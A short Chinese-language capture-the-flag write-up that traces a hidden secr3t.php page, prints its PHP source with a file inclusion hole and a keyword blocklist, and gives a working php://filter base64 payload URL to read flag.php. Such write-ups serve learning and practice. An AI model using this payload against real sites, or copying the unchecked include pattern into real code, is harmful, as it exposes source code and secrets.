查看源代码,发现一个可疑的链接
访问这个页面
点击secret
使用burpsuite进行抓包
发现响应包中有注释的php文件
<!DOCTYPE html> <html> <!-- secr3t.php --> </html>
访问secr3t.php
1 <html> 2 <title>secret</title> 3 <meta charset="UTF-8"> 4 <?php 5 highlight_file(__FILE__); 6 error_reporting(0); 7 $file=$_GET['file']; 8 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 9 echo "Oh no!"; 10 exit(); 11 } 12 include($file); 13 //flag放在了flag.php里 14 ?> 15 </html>
第12行代码中的include函数说明secr3t.php存在文件包含漏洞,然后代码第8行没有过滤filter,所以我们可以直接使用php伪协议读取flag.php
payload:
http://7773a1c6-89cb-412e-92b7-e31b88c99ad8.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
最后使用burpsuite解码便可获取到flag